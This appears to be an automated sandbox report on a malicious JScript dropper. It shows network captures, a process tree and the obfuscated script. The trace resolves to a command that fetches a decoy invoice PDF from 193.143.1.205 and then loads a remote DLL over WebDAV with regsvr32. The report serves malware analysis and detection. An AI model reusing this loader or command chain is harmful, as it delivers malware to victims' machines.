Jan 10, 2025 19:34:03.236915112 CET	1.1.1.1	192.168.2.6	0x655f	No error (0)	bg.microsoft.map.fastly.net		199.232.214.172	A (IP address)	IN (0x0001)	false
Jan 10, 2025 19:34:17.051479101 CET	1.1.1.1	192.168.2.6	0xe8f1	No error (0)	bg.microsoft.map.fastly.net		199.232.214.172	A (IP address)	IN (0x0001)	false
Jan 10, 2025 19:34:17.051479101 CET	1.1.1.1	192.168.2.6	0xe8f1	No error (0)	bg.microsoft.map.fastly.net		199.232.210.172	A (IP address)	IN (0x0001)	false
Jan 10, 2025 19:34:41.167429924 CET	1.1.1.1	192.168.2.6	0x15e7	No error (0)	edge.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		CNAME (Canonical name)	IN (0x0001)	false
Jan 10, 2025 19:34:41.167429924 CET	1.1.1.1	192.168.2.6	0x15e7	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		217.20.57.41	A (IP address)	IN (0x0001)	false
Jan 10, 2025 19:34:41.167429924 CET	1.1.1.1	192.168.2.6	0x15e7	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		217.20.57.39	A (IP address)	IN (0x0001)	false
Jan 10, 2025 19:34:41.167429924 CET	1.1.1.1	192.168.2.6	0x15e7	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		84.201.210.36	A (IP address)	IN (0x0001)	false
Jan 10, 2025 19:34:41.167429924 CET	1.1.1.1	192.168.2.6	0x15e7	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		84.201.210.22	A (IP address)	IN (0x0001)	false
Jan 10, 2025 19:34:41.167429924 CET	1.1.1.1	192.168.2.6	0x15e7	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		84.201.210.19	A (IP address)	IN (0x0001)	false
Jan 10, 2025 19:34:41.167429924 CET	1.1.1.1	192.168.2.6	0x15e7	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		217.20.57.42	A (IP address)	IN (0x0001)	false
Jan 10, 2025 19:34:41.167429924 CET	1.1.1.1	192.168.2.6	0x15e7	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		217.20.57.27	A (IP address)	IN (0x0001)	false
Jan 10, 2025 19:34:41.167429924 CET	1.1.1.1	192.168.2.6	0x15e7	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		217.20.57.43	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

193.143.1.205

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.6	49710	193.143.1.205	80	7056	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 19:32:49.814130068 CET	169	OUT	GET /invoice.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: 193.143.1.205 Connection: Keep-Alive
Jan 10, 2025 19:32:50.650485992 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Fri, 10 Jan 2025 18:32:50 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 [TRUNCATED] Data Ascii: 1f6a%PDF-1.7%1 0 obj<< /Pages 3 0 R /Type /Catalog >>endobj2 0 obj<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>streamx3V0Qw/+Q0TL)VV0Q0PRU,HUHLO-V%0mendstreamendobj4 0 obj<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>endobj5 0 obj<< /Filter /FlateDecode /Length 75 >>streamx3T0B]C aabgiUeE\ E&@yC:lBWB!P9D~K>W &endstreamendobj6 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>endobj7 0 obj<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>streamx+T(O/6PH/*244S0B]HOS04TpBendstreamendobj8 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>endobj9 0 obj<< /BitsPerComponen [TRUNCATED]
Jan 10, 2025 19:32:50.650501966 CET	1236	IN	Data Raw: 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 48 65 69 67 68 74 20 33 35 30 34 20 2f 49 6e 74 65 72 70 6f 6c 61 74 65 20 74 72 75 65 20 2f 53 75 62 74 79 70 65 20 2f 49 6d 61 67 65 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 57 69 64 74 68 Data Ascii: /FlateDecode /Height 3504 /Interpolate true /Subtype /Image /Type /XObject /Width 2479 /Length 634286 >>streamxs-oYfQf\|H *Q$oeVUC;"/
Jan 10, 2025 19:32:50.650512934 CET	1236	IN	Data Raw: f1 11 51 2c 6d ea db 09 00 00 00 00 00 00 00 00 c0 4e 98 3a da 60 52 a6 84 c6 d3 a0 6d f7 7c cc 3f 4c 18 d5 49 94 1e 3a b5 a9 6f 30 00 00 00 00 00 00 00 00 00 d3 98 ba d2 60 5a c5 81 50 c9 a0 6d ee fc d8 3c 1e 9a c7 c3 f0 f1 d8 3d 54 15 75 49 94 Data Ascii: Q,mN:`Rm\|?LI:o0`ZPm<=TuIlq%t>*5gFIt0"%SgL+WB44i<)HlAS+&}CNjD4C;o?4u
Jan 10, 2025 19:32:50.650645018 CET	1236	IN	Data Raw: f4 f0 e6 f0 a0 29 a1 fb 7b d7 7b ef db 0c da 34 d0 cb b7 af d3 63 9e 44 bb 1e fa e1 e6 70 bf 59 96 7b 72 d4 0e 87 b6 27 87 ce 3e 66 37 1c ca a6 dc 5d 34 f5 cd 09 00 00 60 1a 7c b1 04 00 00 00 00 c0 97 64 a3 31 05 3b 2a 1f 43 a3 1d b9 d7 69 47 6e Data Ascii: ){{4cDpY{r'>f7]4`\|d1;CiGn{ZM63\U$CrCM;oN%$)Ioc6vcCB^{}m_v>=wfS=rw7'i_p,`G>0t#
Jan 10, 2025 19:32:50.650656939 CET	896	IN	Data Raw: 0c bd ef 63 e8 cd cd e3 f5 d5 c3 d5 e5 fd c5 79 13 43 4f 4f 6e 4f 8e 6e 8f 0e 9a 18 fa 41 62 e8 2b 1f 43 73 93 a1 97 6f bb 18 7a bd 3f 8f a1 77 5d 0c bd 68 63 e8 f5 e3 20 86 8e 1d 1b 4a 0c dd b0 a9 6f 4e 00 00 00 d3 e0 8b 25 00 f8 ec ec d4 bf ed Data Ascii: cyCOOnOnAb+Csoz?w]hc JoN%.k#W?6i]5;e)}m{bMC?dbh1xCRcxeSM}s_,gdwY]}-\?'M@Une
Jan 10, 2025 19:32:50.650676012 CET	1236	IN	Data Raw: eb 6a 16 35 77 f8 85 2e a3 5c 79 9e c6 2c 5a 88 2a ff 11 96 7b 72 2a e3 d4 ba 2e a3 f2 c2 d6 72 55 4b 5f d2 7a af 6d a1 a7 6b 13 9f 29 85 3f cb 1a 9f ab dc ef b2 c4 4b b9 e2 73 b8 d0 33 b0 e9 2b 59 fb eb 98 fb 83 2c fa 6c d4 2b bf 73 16 bd 8c e5 Data Ascii: j5w.\y,Z{r.rUK_zmk)?Ks3+Y,l+sC}H>6QJ&yyp8TPCb)^zPoN%5B__l>&*E&T,q51-OU/ik//+/l-&?HrOxm-W
Jan 10, 2025 19:32:50.650686979 CET	1236	IN	Data Raw: 31 f4 b8 8b a1 07 71 0c ed 87 43 ed e3 f2 8d da 91 db c4 d0 77 c3 18 7a 78 2b 31 f4 e2 bc 8f a1 d7 2a 86 de 13 43 27 34 f5 cd 09 00 00 60 1a 7c b1 04 00 d3 f2 b7 dc f0 fb f3 e1 77 e6 1f f2 ca df a8 cf 35 82 dc 65 f8 2b c9 75 1f dd 7a 74 f4 bc aa Data Ascii: 1qCwzx+1*C'4`\|w5e+uztc"BI4T&D].N-zU>$ZY+<iFV;FKVMz\P^MD]_Xp/3qywlL_EbvK+}nmcy==b&
Jan 10, 2025 19:32:50.650696993 CET	1236	IN	Data Raw: f1 85 39 c6 2b c4 29 73 55 85 6a e6 63 b1 a9 66 8b 56 da 72 d7 33 af af be 3c 7f 85 be e8 e5 72 5e fd 44 a1 f9 1c a9 29 68 3e 63 5d 47 6a 7e 6c 40 7f a6 98 67 ac 10 8e 73 9f 0e 85 9f 07 90 9f 04 30 6f 7b ff e2 ea a6 1c be e5 f4 27 82 b9 b6 d5 5f Data Ascii: 9+)sUjcfVr3<r^D)h>c]Gj~l@gs0o{'_M1w/bxvMoHfK0UZv]LmBARrq5/X{Cz~bhlhcC?cC?u0X-37X_[;~Ii/MzJ*>)kz{~YjR
Jan 10, 2025 19:32:50.650707960 CET	1236	IN	Data Raw: 86 d6 94 d0 d1 93 25 6b ce b8 cc f5 50 2f ec 14 66 23 a8 29 a1 29 fd 48 06 4d 0d f4 d9 b3 67 bf ff fe fb 6f ad 5f 23 b3 bf ff 7b 6b f6 2b 4d 12 95 11 d1 b0 c5 98 24 aa 4f f7 f3 4f 97 89 7a 7a 73 ef ab 48 98 a8 fc 61 a6 e1 e6 5e ad 1c a7 72 ed 2c Data Ascii: %kP/f#))HMgo_#{k+M$OOzzsHa^r,Y,,WUB5{i_}zqZKd/AX%a;6%4=]\?Vbm^M~gOIM_W;C3Uvj;,C:6<^_7wcICo$
Jan 10, 2025 19:32:50.650719881 CET	1236	IN	Data Raw: f9 a9 3d 9d 84 46 7b a8 d9 dc 6b 76 f6 e6 4a a8 99 22 4c bf 7b 78 55 29 57 f9 ec 58 ee a1 7e 90 b0 3c 45 28 ed 2c dc 7b 6c ae 50 9e 2b 5d f4 74 41 33 17 56 1e 27 f4 bb 55 cb 25 54 bf 2d c3 92 65 7e 6c 40 ff c0 80 19 a0 0e 37 d0 96 07 69 0b 9f 08 Data Ascii: =F{kvJ"L{xU)WX~<E(,{lP+]tA3V'U%T-e~l@7iG/ZU~#zF[_?sc9S`Bf=4x\]fS-=Pb.aM10C~1X\M86ts9L/`f,4;RB
Jan 10, 2025 19:32:50.655488014 CET	324	IN	Data Raw: 06 53 4f d1 e7 84 e6 4a e8 f7 8e 29 8f ba ee 99 1e a4 8f 9e 1c 5d db 6b ae aa 50 42 fd 25 f9 ab 5a a8 d2 9a a9 55 d3 6a fd f4 b1 6f 67 3e d4 ea 75 af fe 19 f3 27 60 ce 2e ac 66 38 b4 7c d0 64 f9 04 5b 7f d4 e9 1f 43 32 d3 97 3b 01 d3 1c b4 1a 2e Data Ascii: SOJ)]kPB%ZUjog>u'`.f8\|d[C2;.? %C:ZP7+wZM7:%TU3iKYu?Pp]t8txL{:0u`hCo\AGD_\|LCf0~M0X

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.6	49712	193.143.1.205	8888	2820	C:\Windows\System32\net.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 19:32:52.024065018 CET	107	OUT	OPTIONS / HTTP/1.1 Connection: Keep-Alive User-Agent: DavClnt translate: f Host: 193.143.1.205:8888
Jan 10, 2025 19:32:52.815072060 CET	237	IN	HTTP/1.1 500 Internal Server Error Server: nginx/1.22.1 Date: Fri, 10 Jan 2025 18:32:52 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 22 Connection: keep-alive X-Content-Type-Options: nosniff Data Raw: 49 6e 74 65 72 6e 61 6c 20 73 65 72 76 65 72 20 65 72 72 6f 72 0a Data Ascii: Internal server error

Target ID:	0
Start time:	13:32:43
Start date:	10/01/2025
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\867419171264419639.js"
Imagebase:	0x7ff64c420000
File size:	170'496 bytes
MD5 hash:	A47CBE969EA935BDD3AB568BB126BC80
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	13:32:44
Start date:	10/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\151741391027391.dll
Imagebase:	0x7ff747740000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	13:32:44
Start date:	10/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	13:32:45
Start date:	10/01/2025
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Imagebase:	0x7ff6e3d50000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	13:32:51
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Imagebase:	0x7ff651090000
File size:	5'641'176 bytes
MD5 hash:	24EAD1C46A47022347DC0F05F6EFBB8C
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	6
Start time:	13:32:51
Start date:	10/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd /c net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff747740000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	13:32:51
Start date:	10/01/2025
Path:	C:\Windows\System32\net.exe
Wow64 process (32bit):	false
Commandline:	net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff7d49c0000
File size:	59'904 bytes
MD5 hash:	0BD94A338EEA5A4E1F2830AE326E6D19
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	13:32:52
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Imagebase:	0x7ff70df30000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	9
Start time:	13:32:52
Start date:	10/01/2025
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Imagebase:	0x7ff7403e0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	10
Start time:	13:32:53
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2264 --field-trial-handle=1528,i,17562366953843885793,6195300308497271525,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Imagebase:	0x7ff70df30000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

JavaScript Code

Call Graph

Executed
Not Executed

Script:

Code
0	function eucuja() {	eucuja() ➔ undefined
1	pplksolpz = [ 1031, 3079, 5127, 4103, 2055, 3072 ];
2	var gqvgzgrwh = this[xvvwwze + yyclusyft + ablkmagn + mtzfriyyp + fsjbd + draxuknft + hdvmet + ylppwgxir] ( this[sevmh + whhvzbg + gvtyhqny + ablkmagn + ctajvvmp + xvvwwze + ylppwgxir][ehpaw + ablkmagn + fsjbd + yyclusyft + ylppwgxir + fsjbd + whdas + rqaqxgtz + hzkgzoirb + fsjbd + gvtyhqny + ylppwgxir] ( sevmh + whhvzbg + gvtyhqny + ablkmagn + ctajvvmp + xvvwwze + ylppwgxir + mwbry + whhvzbg + gcmhsrp + fsjbd + vqbzjqknp + vqbzjqknp ) [uxomqtmc + fsjbd + dacsiiqep + uxomqtmc + fsjbd + yyclusyft + entdr] ( xfggck + midsqi + nuyqaaib + jqdqzu + zgrwgr + ehpaw + crkcmvdm + uxomqtmc + uxomqtmc + nuyqaaib + abgpppjzk + iqbct + zgrwgr + crkcmvdm + whhvzbg + nuyqaaib + uxomqtmc + kyzkcx + ehpaw + lhechds + hdvmet + ylppwgxir + ablkmagn + lhechds + vqbzjqknp + chacsakmf + zknrwytn + yyclusyft + hdvmet + fsjbd + vqbzjqknp + kyzkcx + draxuknft + hdvmet + ylppwgxir + fsjbd + ablkmagn + hdvmet + yyclusyft + ylppwgxir + ctajvvmp + lhechds + hdvmet + yyclusyft + vqbzjqknp + kyzkcx + pfgmoifh + lhechds + gvtyhqny + yyclusyft + vqbzjqknp + fsjbd ), 16 );	Windows Script Host.CreateObject("WScript.Shell") ➔ RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale") ➔ "00000C00" parseInt("00000C00",16) ➔ 3072
3	for ( jzdjzr = 0 ; jzdjzr < pplksolpz[vqbzjqknp + fsjbd + hdvmet + dacsiiqep + ylppwgxir + gcmhsrp] ; ++ jzdjzr )
4	{
5	if ( gqvgzgrwh == pplksolpz[jzdjzr] )
6	{
7	gqvgzgrwh = true;
8	break ;
9	}
10	}
11	if ( gqvgzgrwh !== true )
12	this[sevmh + whhvzbg + gvtyhqny + ablkmagn + ctajvvmp + xvvwwze + ylppwgxir][akcoopsxg + hxbclngid + ctajvvmp + ylppwgxir] ( );
13	this[sevmh + whhvzbg + gvtyhqny + ablkmagn + ctajvvmp + xvvwwze + ylppwgxir][ehpaw + ablkmagn + fsjbd + yyclusyft + ylppwgxir + fsjbd + whdas + rqaqxgtz + hzkgzoirb + fsjbd + gvtyhqny + ylppwgxir] ( sevmh + whhvzbg + gvtyhqny + ablkmagn + ctajvvmp + xvvwwze + ylppwgxir + mwbry + whhvzbg + gcmhsrp + fsjbd + vqbzjqknp + vqbzjqknp ) [ablkmagn + hxbclngid + hdvmet] ( gvtyhqny + gshltxqf + entdr + chacsakmf + xzxeurwa + gvtyhqny + chacsakmf + xvvwwze + lhechds + aekdecz + fsjbd + ablkmagn + mtzfriyyp + gcmhsrp + fsjbd + vqbzjqknp + vqbzjqknp + mwbry + fsjbd + vpoetb + fsjbd + chacsakmf + vwvfz + ehpaw + lhechds + gshltxqf + gshltxqf + yyclusyft + hdvmet + entdr + chacsakmf + jycqnqzvp + draxuknft + hdvmet + wronm + lhechds + wdeuygsd + fsjbd + vwvfz + sevmh + fsjbd + rqaqxgtz + uxomqtmc + fsjbd + cqgffs + hxbclngid + fsjbd + mtzfriyyp + ylppwgxir + chacsakmf + vwvfz + whdas + hxbclngid + ylppwgxir + qcsomnit + ctajvvmp + vqbzjqknp + fsjbd + chacsakmf + qbifmzria + ylppwgxir + fsjbd + gshltxqf + xvvwwze + qbifmzria + kyzkcx + ctajvvmp + hdvmet + wronm + lhechds + ctajvvmp + gvtyhqny + fsjbd + mwbry + xvvwwze + entdr + byjejkssd + chacsakmf + gcmhsrp + ylppwgxir + ylppwgxir + xvvwwze + vkfyner + xzxeurwa + xzxeurwa + gwiuiron + kzrrpu + qywqlutag + mwbry + gwiuiron + zyzispn + qywqlutag + mwbry + gwiuiron + mwbry + nvsqr + ipgut + tkegcz + xzxeurwa + ctajvvmp + hdvmet + wronm + lhechds + ctajvvmp + gvtyhqny + fsjbd + mwbry + xvvwwze + gcmhsrp + xvvwwze + jycqnqzvp + ykpyl + ykpyl + mtzfriyyp + ylppwgxir + yyclusyft + ablkmagn + ylppwgxir + chacsakmf + qbifmzria + ylppwgxir + fsjbd + gshltxqf + xvvwwze + qbifmzria + kyzkcx + ctajvvmp + hdvmet + wronm + lhechds + ctajvvmp + gvtyhqny + fsjbd + mwbry + xvvwwze + entdr + byjejkssd + ykpyl + ykpyl + gvtyhqny + gshltxqf + entdr + chacsakmf + xzxeurwa + gvtyhqny + chacsakmf + hdvmet + fsjbd + ylppwgxir + chacsakmf + hxbclngid + mtzfriyyp + fsjbd + chacsakmf + kyzkcx + kyzkcx + gwiuiron + kzrrpu + qywqlutag + mwbry + gwiuiron + zyzispn + qywqlutag + mwbry + gwiuiron + mwbry + nvsqr + ipgut + tkegcz + dxsytd + baawwp + baawwp + baawwp + baawwp + kyzkcx + entdr + yyclusyft + wronm + aekdecz + aekdecz + aekdecz + ablkmagn + lhechds + lhechds + ylppwgxir + kyzkcx + ykpyl + ykpyl + gvtyhqny + gshltxqf + entdr + chacsakmf + xzxeurwa + gvtyhqny + chacsakmf + ablkmagn + fsjbd + dacsiiqep + mtzfriyyp + wronm + ablkmagn + qywqlutag + nvsqr + chacsakmf + xzxeurwa + mtzfriyyp + chacsakmf + kyzkcx + kyzkcx + gwiuiron + kzrrpu + qywqlutag + mwbry + gwiuiron + zyzispn + qywqlutag + mwbry + gwiuiron + mwbry + nvsqr + ipgut + tkegcz + dxsytd + baawwp + baawwp + baawwp + baawwp + kyzkcx + entdr + yyclusyft + wronm + aekdecz + aekdecz + aekdecz + ablkmagn + lhechds + lhechds + ylppwgxir + kyzkcx + gwiuiron + tkegcz + gwiuiron + swtjxgyn + zyzispn + gwiuiron + qywqlutag + kzrrpu + gwiuiron + ipgut + nvsqr + swtjxgyn + qywqlutag + kzrrpu + gwiuiron + mwbry + entdr + vqbzjqknp + vqbzjqknp, 0, false );	Windows Script Host.CreateObject("WScript.Shell") ➔ run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.pdf http://193.143.1.205/invoice.php"&&start %temp%\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\151741391027391.dll",0,false) ➔ 0
14	}
15	ylppwgxir = "I";
16	ylppwgxir = "K";
17	ylppwgxir = "w";
18	ylppwgxir = "B";
19	ylppwgxir = "u";
20	ylppwgxir = "B";
21	ylppwgxir = "F";
22	ylppwgxir = "B";
23	ylppwgxir = "E";
24	ylppwgxir = "M";
25	ylppwgxir = "L";
26	ylppwgxir = "p";
27	ylppwgxir = "Z";
28	ylppwgxir = "Q";
29	ylppwgxir = "i";
30	ylppwgxir = "e";
31	ylppwgxir = "S";
32	ylppwgxir = "C";
33	ylppwgxir = "T";
34	ylppwgxir = "z";
35	ylppwgxir = "e";
36	ylppwgxir = "R";
37	ylppwgxir = "N";
38	ylppwgxir = "k";
39	ylppwgxir = "K";
40	ylppwgxir = "N";
41	ylppwgxir = "k";
42	ylppwgxir = "J";
43	ylppwgxir = "j";
44	ylppwgxir = "j";
45	ylppwgxir = "l";
46	ylppwgxir = "R";
47	ylppwgxir = "I";
48	ylppwgxir = "K";
49	ylppwgxir = "i";
50	ylppwgxir = "o";
51	ylppwgxir = "a";
52	ylppwgxir = "V";
53	ylppwgxir = "m";
54	ylppwgxir = "T";
55	ylppwgxir = "G";
56	ylppwgxir = "I";
57	ylppwgxir = "l";
58	ylppwgxir = "t";
59	fsjbd = "j";
60	fsjbd = "D";
61	fsjbd = "L";
62	fsjbd = "x";
63	fsjbd = "m";
64	fsjbd = "h";
65	fsjbd = "t";
66	fsjbd = "t";
67	fsjbd = "i";
68	fsjbd = "i";
69	fsjbd = "e";
70	uxomqtmc = "v";
71	uxomqtmc = "x";
72	uxomqtmc = "R";
73	ykpyl = "a";
74	ykpyl = "i";
75	ykpyl = "o";
76	ykpyl = "N";
77	ykpyl = "j";
78	ykpyl = "&";
79	gshltxqf = "X";
80	gshltxqf = "R";
81	gshltxqf = "w";
82	gshltxqf = "E";
83	gshltxqf = "F";
84	gshltxqf = "x";
85	gshltxqf = "d";
86	gshltxqf = "J";
87	gshltxqf = "j";
88	gshltxqf = "N";
89	gshltxqf = "P";
90	gshltxqf = "w";
91	gshltxqf = "u";
92	gshltxqf = "u";
93	gshltxqf = "m";
94	gshltxqf = "y";
95	gshltxqf = "y";
96	gshltxqf = "u";
97	gshltxqf = "K";
98	gshltxqf = "j";
99	gshltxqf = "h";
100	gshltxqf = "X";
101	gshltxqf = "k";
102	gshltxqf = "X";
103	gshltxqf = "o";
104	gshltxqf = "m";
105	xzxeurwa = "t";
106	xzxeurwa = "p";
107	xzxeurwa = "T";
108	xzxeurwa = "U";
109	xzxeurwa = "h";
110	xzxeurwa = "v";
111	xzxeurwa = "r";
112	xzxeurwa = "a";
113	xzxeurwa = "X";
114	xzxeurwa = "y";
115	xzxeurwa = "s";
116	xzxeurwa = "m";
117	xzxeurwa = "r";
118	xzxeurwa = "V";
119	xzxeurwa = "m";
120	xzxeurwa = "c";
121	xzxeurwa = "N";
122	xzxeurwa = "p";
123	xzxeurwa = "/";
124	wdeuygsd = "O";
125	wdeuygsd = "X";
126	wdeuygsd = "P";
127	wdeuygsd = "j";
128	wdeuygsd = "i";
129	wdeuygsd = "R";
130	wdeuygsd = "j";
131	wdeuygsd = "h";
132	wdeuygsd = "G";
133	wdeuygsd = "Y";
134	wdeuygsd = "r";
135	wdeuygsd = "g";
136	wdeuygsd = "L";
137	wdeuygsd = "k";
138	wdeuygsd = "G";
139	wdeuygsd = "o";
140	wdeuygsd = "u";
141	wdeuygsd = "Y";
142	wdeuygsd = "e";
143	wdeuygsd = "U";
144	wdeuygsd = "e";
145	wdeuygsd = "J";
146	wdeuygsd = "z";
147	wdeuygsd = "U";
148	wdeuygsd = "u";
149	wdeuygsd = "g";
150	wdeuygsd = "k";
151	byjejkssd = "A";
152	byjejkssd = "E";
153	byjejkssd = "e";
154	byjejkssd = "x";
155	byjejkssd = "u";
